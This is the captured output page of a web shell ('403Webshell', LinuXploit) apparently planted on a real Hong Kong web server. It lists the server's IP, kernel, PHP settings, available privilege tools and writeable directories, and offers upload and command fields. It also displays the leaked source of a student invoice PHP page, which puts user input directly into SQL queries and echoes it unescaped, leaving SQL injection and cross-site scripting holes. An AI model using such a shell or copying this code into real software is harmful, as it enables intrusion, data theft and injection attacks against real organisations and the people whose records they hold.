403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140407/student_invoice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140407/student_invoice/invoice.php
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <?php
        require_once '../include/head.php';
        require_once '../include/checkuser.php';
        require_once '../include/Nav_bar.php';
        include_once '../include/DBConnect.php';
        ?>
        <script>
            $(function() {
                $('.date-picker').datetimepicker({pickTime: false, format: 'yyyy-MM-dd'});
            });
        </script>
    </head>
    <body>
        <!-- line between nav bar and content -->
        <div class="text-right">
            <ul class="breadcrumb">
                <li class="active">Invoice record</li>
            </ul>
        </div>
        <div class="container-fluid pathways-container">
            <div>
                <table border="0" width="100%">
                    <tr>
                        <td><h2>Invoice Records</h2></td>
                        <td><a href="invoice_search.php" class="btn pull-right"><i class="icon-plus"></i> Generate</a></td>
                    </tr>
                </table>
            </div>
            <div class="pathways-search">
                <form action="" method="POST" class="form-inline">
                    <table border="0">
                        <tr>
                            <?php
                            if (isset($_POST['search']) && $_POST['search'] == "Search") {
                                $invoice_code = $_POST['invoice_code'];
                                $from_date = $_POST['from_date'];
                                $to_date = $_POST['to_date'];
                                ?>
                                <td>Invoice Code:</td>
                                <td><input type="text" name="invoice_code" value="<?= $invoice_code ?>"></td>
                                <td>Date From</td>
                                <td>
                                    <div class="input-append date-picker">
                                        <input type="text" name="from_date" class="dateISO" value="<?= $from_date ?>">
                                        <span class="add-on">
                                            <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                                        </span>
                                    </div>
                                </td>
                                <td>Date To</td>
                                <td>
                                    <div class="input-append date-picker">
                                        <input type="text" name="to_date" class="dateISO" value="<?= $to_date ?>">
                                        <span class="add-on">
                                            <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                                        </span>
                                    </div>
                                </td>
                                <?php
                            } else {
                                ?>
                                <td>Invoice Code:</td>
                                <td><input type="text" name="invoice_code"></td>
                                <td>Date From</td>
                                <td>
                                    <div class="input-append date-picker">
                                        <input type="text" name="from_date" class="dateISO">
                                        <span class="add-on">
                                            <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                                        </span>
                                    </div>
                                </td>
                                <td>Date To</td>
                                <td>
                                    <div class="input-append date-picker">
                                        <input type="text" name="to_date" class="dateISO">
                                        <span class="add-on">
                                            <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                                        </span>
                                    </div>
                                </td>
                                <?php
                            }
                            ?>
                            <td><input type="submit" name="search" value="Search" class="btn"></td>
                        </tr>
                    </table>
                </form>
            </div>
            <form action="" method="POST">
                <table border="0" class="table table-striped table-bordered table-hover table-condensed">
                    <thead>
                        <tr>
                            <th>&nbsp;</th>
                            <th>Invoice Code</th>
                            <th>Create Date</th>
                            <th>Related Student Name(Student Code)/School Name</th>
                        </tr>
                    </thead>
                    <tbody id='search_result'>
                        <?php
                        if (isset($_POST['search']) && $_POST['search'] == "Search") {
                            $invoice_code = $_POST['invoice_code'];
                            $from_date = $_POST['from_date'];
                            $to_date = $_POST['to_date'];
                            
                            if($from_date==""&&$to_date==""){
                                $query = "Select i.invoice_id,i.invoice_code,i.invoice_date,stu.linking_id,stu.New_stu_ID as id,stu.last_name,stu.first_name,stu.root_id from student as stu,
                                invoice as i where stu.root_id=i.stu_linking_id and stu.deleted=0 and stu.actived=1 and 
                                i.deleted=0 and i.actived=1 and i.invoice_code like '%$invoice_code%' order by i.createdate DESC";
                            }
                            else{
                                $query = "Select i.invoice_id,i.invoice_code,i.invoice_date,stu.linking_id,stu.New_stu_ID as id,stu.last_name,stu.first_name,stu.root_id from student as stu,
                                invoice as i where stu.root_id=i.stu_linking_id and stu.deleted=0 and stu.actived=1 and 
                                i.deleted=0 and i.actived=1 and i.invoice_code like '%$invoice_code%' and i.invoice_date>='$from_date' and i.invoice_date<='$to_date' order by i.createdate DESC";
                            }
                            
                            $result = $dbh->query($query);
                            $result->setFetchMode(PDO::FETCH_OBJ);
                            while ($row = $result->fetch()) {
                                ?>
                                <tr>
                                    <td>
                                            <a href="invoice_edit.php?linking_id=<?=$row->linking_id?>&invoice_id=<?=$row->invoice_id?>&stu_root_id=<?=$row->root_id?>&action=View" class="btn"><i class="icon-eye-open"></i> View</a>
                                    </td>
                                    <td><?=$row->invoice_code?></td>
                                    <td><?=$row->invoice_date?></td>
                                    <td><?=$row->last_name.' '.$row->first_name.'('.$row->id.')'?></td>
                                </tr>
                                <?php
                            }//in-house
                            if($from_date==""&&$to_date==""){
                                $query = "Select i.invoice_id,i.invoice_code,i.invoice_date,i.school_id,sch.sch_name from school as sch,
                                invoice as i where sch.school_id=i.school_id and sch.deleted=0 and sch.actived=1 and  
                                i.deleted=0 and i.actived=1 and i.invoice_code like '%$invoice_code%' order by i.createdate DESC";
                            }
                            else{
                                $query = "Select i.invoice_id,i.invoice_code,i.invoice_date,i.school_id,sch.sch_name from school as sch,
                                invoice as i where sch.school_id=i.school_id and sch.deleted=0 and sch.actived=1 and 
                                i.deleted=0 and i.actived=1 and i.invoice_code like '%$invoice_code%' and i.invoice_date>='$from_date' and i.invoice_date<='$to_date' order by i.createdate DESC";
                            }
                            $result = $dbh->query($query);
                            $result->setFetchMode(PDO::FETCH_OBJ);
                            while ($row = $result->fetch()) {
                                ?>
                                <tr>
                                    <td>
                                            <a href="invoice_edit.php?school_id=<?=$row->school_id?>&invoice_id=<?=$row->invoice_id?>&action=View" class="btn"><i class="icon-eye-open"></i> View</a>
                                    </td>
                                    <td><?=$row->invoice_code?></td>
                                    <td><?=$row->invoice_date?></td>
                                    <td><?=$row->sch_name?></td>
                                </tr>
                                <?php
                            }
                        }
                        ?>
                    </tbody>
                </table>
            </form>
        </div>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit